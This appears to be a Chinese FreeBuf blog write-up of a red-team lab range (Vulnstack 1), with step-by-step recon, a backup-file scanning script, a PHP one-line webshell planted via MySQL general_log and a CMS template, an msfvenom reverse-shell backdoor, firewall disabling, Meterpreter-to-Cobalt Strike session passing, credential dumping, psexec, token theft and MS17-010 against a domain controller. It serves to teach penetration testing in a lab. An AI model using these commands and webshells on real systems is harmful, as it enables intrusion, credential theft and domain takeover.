freeBuf
红日安全靶场(一)
2021-11-11 17:41:51

环境配置

红日安全的靶场一:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

攻击机/kali:192.168.52.128

win 7(内):192.168.52.133 win7(外):192.168.72.143

Winserver2003:192.168.72.141 Winserver2008:192.168.72.138

1、信息收集

1.1、主机发现 netdiscover -i eth0 -r 192.168.52.0/24,看到192.168.52.133这个地址,lenth比较长,应该就是我们要找的主机(自己搭建的靶机环境,假装不知道,淡定)

1.2、nmap扫描下端口,发现开启了很多端口,其他不能访问,80端口可以访问(这个环境用来打过其他的漏洞,所以跟原装的环境不太一样了,只是端口多了点)

nmap -sS -A -n -T4 -p- 192.168.52.133

1.3、访问80端口发现是个PHPstudy探针,在这里就可猜测网站的路径为C:/phpStudy/www/

1.4、在最下面有个数据库连接检测,需要输入用户名和密码,在这里分别输入弱口令root,root,点击MySQL检测尝试下

1.5、鬼鬼,连接成功(弱口令,弱口令)

1628956120_6117e5d829ca291f0f69b.png!small?1628956119716

1.6、继续信息收集,祭出我的大宝剑-御剑扫一下。然鹅,还是没有什么新的收获

1628956129_6117e5e1104faecbc6c5f.png!small?1628956128501

1.7、写个脚本猜解下,目标机器下是否存在源码备份文件。

常见的网站源码文件名有:web,website,backup,back,www,wwwroot,temp,beifen,bf

常见的网站源码备份文件后缀有:tar,tar.gz,zip,rar

python脚本如下,让他们匹配去get一下响应码,拼接一下输出URL和对应的响应码

import requests

url = "http://192.168.52.133"

li1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp', 'beifen', 'bf']
li2 = ['tar', 'tar.gz', 'zip', 'rar']
for i in li1:
for j in li2:
url_final = url + "/" + i + "." + j
r = requests.get(url_final)
print("%s:%s" %(url_final,r))


1.8、在kali下跑一下试试,发现还真有备份文件,URL为 http://192.168.52.133/beifen.rar响应码为200,说明存在,在浏览器下访问这个URL,把源码下载下来

1628956143_6117e5ef6d3cb9e5c8b3c.png!small?1628956143964

1628956157_6117e5fdcf7a35f2611ec.png!small?1628956157513

1.9、下载后,提取解压得到yxcms文件的文件夹,元芳猜测,PHPmyadmin下应该有个路径为yxcms,也有好几个文件夹试着访问下,看是否存在文件遍历漏洞,yxcms、data、protected、public、upload 都访问成功,说明存在文件遍历漏洞,这个记着,留着接下来操作。

1628956246_6117e6568ba182a521ab4.png!small?1628956246034

1628956319_6117e69f40de3341c26f8.png!small?1628956318854

1628956343_6117e6b737ae3ae1fc20d.png!small?1628956342681

1628956351_6117e6bf2227ef9ad22aa.png!small?1628956350622

1.10、查看网站源文件,在yxcms>data>db_back>1384692822下是网站的源码,在kali上只有文件编辑器,所以审计起来不太方便,我这面拖到了物理机上使用visual 打开,观察到后台的登录用户名admin和密码123456,以及登录路径/index.php?r=admin

1628956368_6117e6d08173c9193c43d.png!small?1628956367987

1628956387_6117e6e38a8d259b41748.png!small?1628956387040

2、获取shell

有PHPmyadmin和cms后台的得登录名和密码,所以写shell有两种姿势,在这里分为2.1和2.2

2.1、PHPmyadmin 写shell

2.1.1、登录PHPmyadmin,登录名和密码是root:root(在PHP探针那里数据库检测连接的弱口令,见1.4)

1628956400_6117e6f060069b896a6a8.png!small?1628956399886

2.1.2、点击图中的SQL按钮,输入“show variables like '%secure_file%';”查询下是否能直接写入shell。执行成功,这里secure_file_priv的值为NULL,说明不能使用into outfile的方式写入shell

1628956408_6117e6f8999c811f18cf9.png!small?1628956408101

2.1.3、作罢,尝试日志写入shell。

在这里简述下:general_log和general_log_file

mysql打开general_log开关之后,所有对数据库的操作都将记录在general_log_file指定的文件目录中,以原始的状态来显示,如果将general_log开关打开,general_log_file指定一个php文件,则查询的操作将会全部写入到general_log_file指定的文件,通过访问general_log_file指定的文件来获取webshell。

第一步、首先开启日志记录:“set global general_log = "ON";”,开启成功

1628956414_6117e6fe08231019f5e13.png!small?1628956413550

第二步、查看当前的日志存放的目录:show variables like 'general%'; 可以看到当前日志存放的目录为C:\phpstudy\MYSQL\data\stu1.log。

1628956419_6117e703ba19b60578918.png!small?1628956419224

第三步、通过general_log_file来获取webshell,先指定一个文件,没有文件会创建一个新文件

set global general_log_file = "C:/phpStudy/www/1.php";

指定成功,接下来再执行的操作都会记录到1.php这个文件中

1628956425_6117e709f29383549ff4d.png!small?1628956425484

第四步、执行SELECT '<?php eval($_POST["123"]);?>' 也就是在1.php中写入一句话木马,连接密码123,执行成功,意思就是已经写进去了

1628956432_6117e71028992c1a5d144.png!small?1628956431991

第五步、蚁剑连接,连接成功

1628956437_6117e715949bdc230477a.png!small?1628956437143

2.2、yxcms系统写shell

2.2.1、之前在查看网站源码的时候,就发现yxcms系统有个后台,登录路径/index.php?r=admin,登录用户名admin和密码123456,尝试登录访问下

1628956452_6117e7243fb2fade1d944.png!small?1628956451783

2.2.2、进来后是一些关于服务器的相关配置,随便点点看看,在前台模板这里,有一个管理模板文件的按钮,点进去,发现有很多PHP文件。

1628956458_6117e72a821f841bbc571.png!small?1628956458114

1628956463_6117e72f9093f38465ffc.png!small?1628956463086

在此随便选择一个PHP文件,这里以前台模板文件index_index.php为例,编辑写入一句话木马,为了跟2.1区分开,这里连接密码为456

1628956470_6117e736e7725632aaa58.png!small?1628956470683

1628956476_6117e73c4f1aab18d01b1.png!small?1628956476070

2.2.3、蚁上连剑,蚁上了!!!

两个webshell都能正常连接

1628956485_6117e7450574f28b97397.png!small?1628956486237

1628956492_6117e74c3513a92234908.png!small?1628956493238

1628956497_6117e75175f7dec38cce3.png!small?1628956496917

3、内网信息收集及域渗透

3.1、内网信息收集

思路有很多,工具也有很多,可以使用msfvenom生成后门,在目标机器上执行,webshell反弹meterpreter shell来进行信息收集。也可以使用cs生成beacon,webshell反弹shell给cs的方式。

我这里故意麻烦一下,多练习一下,前期使用msf进行内网的信息收集,后期派生cs进行内网横移,打一把组合拳

3.1.1、msfvenom 制作一个名为j2w的exe后门

'/usr/bin/msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i -5 -b 'x80' LHOST=192.168.52.128 LPORT=4444 -f exe >j2w.exe'

1628956534_6117e776a520f3278b4b2.png!small?1628956534288

3.1.2、在蚁剑终端这个后门之前,先在终端关闭下防火墙,防止弹窗。

netsh advfirewall set allprofiles state off

关闭防火墙后,将后门上传上去,在终端执行

1628956541_6117e77db6ff7a9109df9.png!small?1628956541187

3.1.3、打开msf,msf不变的配置,再敲一遍,练练手

use exploit/multi/handler ///使用exploit/multi/handler进行探测

set payload Windows/meterpreter/reverse_tcp /// 设置payload ‘Windows/meterpreter/reverse_tcp’ 进行监听

show options ///查看下哪些选项需要配置,查看到LHOST 那里是空缺的,但是required又是yes(required为yes的表示一定要配置的)

set LHOST 192.168.52.128 ///设置下主机地址

run/exploit ///开始攻击

下方会弹出meterpreter shell的提示框

1628956551_6117e787c6973b2d2be4a.png!small?1628956553166

3.1.4、shell一下进入与目标主机的交互模式,在上面调整一下编码格式为简体中文-GBK,防止乱码

1628956584_6117e7a85bd3e59c3d932.png!small?1628956583892

3.1.5、执行一下命令,对该目标主机,进行一些列的用户信息收集。(实际在蚁剑终端也可以进行这些信息收集,但是后面要内网横移,肯定是要建立一个稳定的后门进行通信,cs生成beacon,信息收集,前面还要加前缀shell,所以用msf,实际效果是一样的,来跟我一起喊,msf,yyds!!!)

whoami ///收集目标机器的身份

hostname /// 显示主机名称

net user ///显示用户

net localgroup administrator ///显示本地管理员组(因为这个镜像被我用其他的洞打过,所以有一些比红日官方账户多几个账户,这个都无所谓)

1628956716_6117e82c2cca79bb0c7e5.png!small?1628956716024

3.1.6、执行以下命令,进行系统信息的收集

systeminfo | findstr /B /C:"OS Name" /C:"OS Version" ///查看系统版本

1628956724_6117e8348c03f17dd47be.png!small?1628956724328

echo % PROCESSOR_ARCHITECTURE% ///查看系统架构,判断是32位的还是64位的,对接下来选择payload架构时非常重要,可以看到是x86

1628956730_6117e83ad8e18000ccdd6.png!small?1628956730401

查询已安装的软件及版本信息:wmic product get name,version

1628956736_6117e84020022ccbbeca9.png!small?1628956736333

查询进程及服务:tasklist 显示映像名称、PID、会话名、内存使用

1628956741_6117e8455a02d431300e0.png!small?1628956740946

1628956749_6117e84d6df191f187062.png!small?1628956749914

3.2、域信息收集

域(domain)

域是一个有安全边界的计算机集合。(安全边界的意思是,在两个域中,一个域中的用户无法访问另外一个域中的资源)。

AD域:“AD”其实就是Active Directory活动目录的简写,活动目录所提供的功能有资源管理、桌面配置、用户服务、服务器鸡客户端计算机管理等等。

域控制器(DC domian controller):是域中的一台类似管理服务器的计算机、域控制器负责所有连入的计算机和用户的验证工作,域内计算机如果互相访问,都要经过域控制器的审核。

3.2.1、判断是否存在域:ipconfig/all 查看DNS服务器,可以看到DNS服务器名为god.org

1628956767_6117e85fe37adb87a5eb4.png!small?1628956767603

3.2.2、查看域信息:net view

1628957348_6117eaa4be0d545f7fe0f.png!small?1628957348314

3.2.3、查看主域信息:net view /domain,有一个GOD的域

1628957361_6117eab1ef18122f05a11.png!small?1628957361534

3.2.4、查询当前的登录域与用户信息:net config workstation

1628957372_6117eabccb4632122e253.png!small?1628957372561

3.3、查找域控

3.3.1、上面信息说明有个域的DNS服务器名称为god.org,nslookup一下解析域名服务器,查找一下地址,得知域控主机的IP地址为192.168.72.138

1628957397_6117ead51d8ef44f8531b.png!small?1628957396717

3.3.2、查看一下域信息:net view

查看一下主域信息:net view /domain

1628957425_6117eaf101bd54a109dbe.png!small?1628957424509

查看下当前域的所有用户:net user /domain。

//////若发现能够执行,说明此台机器在域中 (若是此命令在显示域处显示 WORKGROUP,则不存在域,若是报错:发生系统错误 5,则存在域,但当前登录用户不是域用户)//////

1628957443_6117eb0303045c0859e42.png!small?1628957442548

获取域内用户的信息:wmic useraccount get /all

1628957455_6117eb0f33e80ac259233.png!small?1628957454842

查看所有域成员计算机列表:net group “domain computers” /domain,发现也是请求失败

1628957467_6117eb1b874765f1db4ce.png!small?1628957467076

查看域管理员:net group “domain admins” /domain,发现也是请求失败(当前登录用户不是域用户,所以会显示系统错误5)

1628957474_6117eb220be5934608a27.png!small?1628957473562

查看域控制器:net group “domain controllers” /domain

查看企业管理组:net group “enterprise admins” /domain

麻了,这些命令都执行不了,因为metasploit的一些局限性,接下来转战cs

1628957484_6117eb2c151493fb32882.png!small?1628957484056

3.4、metasploit派生shell给cs

3.4.1、搭建cs端

先创建个teamserver团队服务器,密码123456,奔跑吧

1628957489_6117eb3154cf005b0ec39.png!small?1628957488881

./cobalt strike 进入cs,连接本主机192.168.52.128 ,密码123456

创建一个listener 监听

1628957497_6117eb39e297700fb5245.png!small?1628957497436

选择payload,这里选择的payload一定要与msf中的payload一致,端口8888

1628957511_6117eb47c095148c9241e.png!small?1628957511206

监听器创建成功

1628957518_6117eb4e190938bee2a05.png!small?1628957517524

3.4.2、配置msf端

万分注意:在msf上,meterpreter需要获取到system权限,才可注入到其他进程。提权的方法有很多,比如直接getsystem(跟当前账户的权限有关系),利用msf上的ms17_010模块,bypassuac,PathsAlwaysInstallElevated漏洞利用,msf令牌窃取等方式,我的其他文章也有介绍。在这里提权我直接使用getsystem一步就提取成功了

1628957546_6117eb6ad0b9002154992.png!small?1628957546360

在meterpreter shell界面,输入background,session 2 进入后台,一会就要把这个session 2传到cs上

1628957555_6117eb73de2a5fdf375d7.png!small?1628957555439

在msf上使用exploit/windonws/local/payload_inject(选用exploit)

在这里payload 选择windows/meterpreter/reverse_http。(http、http、http、重要的事情说三遍,因为cs那里选的就是reverse_http。我当时就table一下敲成了reverse_tcp,后面一直不上线,耽误了好久,可长记性了,不要学我)

1628957571_6117eb8363b04fd0f4258.png!small?1628957571065

set DisablePayloadHandler true /////禁止产生一个新的handler

show options,配置一下主机地址,session,和port。run一下

1628957581_6117eb8d4aaddbe549183.png!small?1628957580892

1628957589_6117eb952881f093f03df.png!small?1628957588923

cs上线,觉得msf派生给CS麻烦的话,可以直接上传个cs的beacon后门马

1628957598_6117eb9e1742f3e85bcb8.png!small?1628957597565

3.5、CS横向探测

3.5.1、在beacon上右键,目标(target)>net view,查看下扫描到的主机,在cs的beacon下,首先要降低心跳,防止杀软警觉,这里是内网,没有杀软就直接sleep 0

1628957603_6117eba32bf28b1b96d05.png!small?1628957602665

1628957608_6117eba86bb5f92fa03bc.png!small?1628957607923

3.5.2、点击target,会显示视图中的目标列表

1628957613_6117ebad3eec3aa9fab53.png!small?1628957612736

3.5.3、在cs中,使用hashdump抓一下内存的密码,mimikatz抓注册表的明文密码或散列值

1628957617_6117ebb188757fd4a06d9.png!small?1628957616975

1628957621_6117ebb59518d434513fb.png!small?1628957621068

右击beacon,在视图一栏查看凭证信息,查看相关用户的密码及散列值

1628957626_6117ebba6209527452f01.png!small?1628957625859

1628957631_6117ebbf14f36fcfab74a.png!small?1628957630506

4、内网横移

在这里使用smb beacon的方法,由一台已经拿到beacon的机器,抓取到密码后进行smb喷射,得到另一台开放445端口的机器上的administrator账户密码,在目标机器不出网的情况下,可以使用Smb beacon使目标主机上线。

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送(以现有的beacon为跳板)。因为链接的Beacon使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,可绕防火墙。

4.1、派生smb beacon

4.1.1、新建一个listener,payload选择Windows/beacon_smb/bind_pipe,端口设为7770

1628957636_6117ebc48a3c597448ea5.png!small?1628957635978

4.1.2、右击beacon,派生会话选择父级beacon:msf-cs,新的smb beacon上有一个圈圈就说明,beacon与smb beacon之间的通信已经连接成功了。目标的机器有两张网卡,一张C端是52(外网通信),一张C端是72,用于跟域内其他机器内网通信。

1628957641_6117ebc9550bc4f2bf807.png!small?1628957640772

1628957646_6117ebceda64ff8cb04aa.png!small?1628957646355


接下来又是两种打法

4.2、psexec通过凭证登录到其他主机

4.2.1、前面横向探测已经获取到内网目标的凭证信息,尝试psexec模块登录到其他主机。右键一台非域控主机,比如右键选择ROOT-TVI862UBEH 的 psexec 模块

1628957661_6117ebdde25c411572125.png!small?1628957661374

在这里选择一个administrator的凭证信息,监听器选择刚才创建的smb,会话选择smb beacon对应的会话

1628957668_6117ebe45213d4862a77e.png!small?1628957667811

可以看到,得到了192.168.27.141的beacon,如法炮制,就能得到域控主机192.168.72.138的beacon

4.3、token令牌窃取

除了直接使用获取到的 hash 值,也可以直接窃取 GOD\Administrator 的 token 来登录其他主机

1628957824_6117ec80c328549467a16.png!small?1628957824366

4.4、cs派生会话给msf

(hahah,绕回来了,msf模块比较集中)

在信息收集的时候也看到(见3.5.2)win7有两张网卡,已经拿到了52网段的meterpreter shell,72这个网段肯定是不能通信的,所以看情况要添加一条路由。

4.4.1、cs派生会话到msf

msf 上设置监听端口,地址还是本机地址,192.168.52.128,不是攻击机地址偶(不要弄混了),端口9990

1628957843_6117ec937af8aa841c05d.png!small?1628957843238

cs上,设置一个监听端口,地址还是本机地址,192.168.52.128,不是攻击机地址偶(不要弄混了),端口9990,payload选择Windows/foreign/reverse_http

1628957849_6117ec99d4208fa70daa6.png!small?1628957849310


cs上,右击192.168.52.133这个进入beacon,输入spawn cs-msf,msf上会监听的到,生成一个session 4

1628957856_6117eca05367f99158ced.png!small?1628957855776

4.4.2、先查看下路由(cs的会话就是msf派生的,接下来的工作转移阵地,在msf上干)

run get_local_subnets

1628957869_6117ecadd0f64befe873d.png!small?1628957869339

添加路由:run autoroute -s 192.168.72.0/24 添加成功,在run autoroute -p 查看下,看到session 4添加成功!

1628957922_6117ece293ccee1d1467a.png!small?1628957922122

1628957935_6117ecefd60cbef50d3a1.png!small?1628957935458

4.4.3、把shell 置于后台,永恒之蓝ms17_010_eternalblue 嗯上,session 5

1628957942_6117ecf63b011fdf5aadb.png!small?1628957941786

1628957951_6117ecff1c0a77951a5f4.png!small?1628957950537

1628957291_6117ea6b4faf60f1fb5f1.png!small?1628957290819

这一步提权成功,我是没想到。直接就得到了win 2008的权限【觉得玩着没意思的话可以试试CVE-2018-8120、ms14-068,还有前面说过的内核溢出漏洞利用、bypassuac都可以试试,只要思路宽,权限拿得欢】

1628957245_6117ea3daea600daad880.png!small?16289572452831628957228_6117ea2c2dd2ab2064957.png!small?1628957227821

4.4.4、如果上面的ms17_010_eternalblue模块,弹不出session。以前也有这种情况,用起来不稳定,直接打死或者没反应,都很正常,那就换ms17_010_psexec再接着冲,硬着头皮嗯冲

1628957205_6117ea152bea9916bcc51.png!small?1628957204729

后记

疫情封控期间,学着玩,就此记下来了。学到了很多东西,也发现了一些问题,包括自己身上很多不足,技能缺乏的地方,也是学习的过程吧。复习了很多工具的使用,msf与cs之间的会话相互派生,内网横移的思路,中间搞过一次乌龙,就是payload选择错误,reverse_http选择成reverse_tcp,以后还是要细心。

整个过程还算顺畅,因为环境中没有加入杀软,很多工具都会被AV发现,这时候就需要手动写一些工具了。希望以后不要懒,多学技术,多交朋友。最后希望疫情尽快结束吧。

本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
文章目录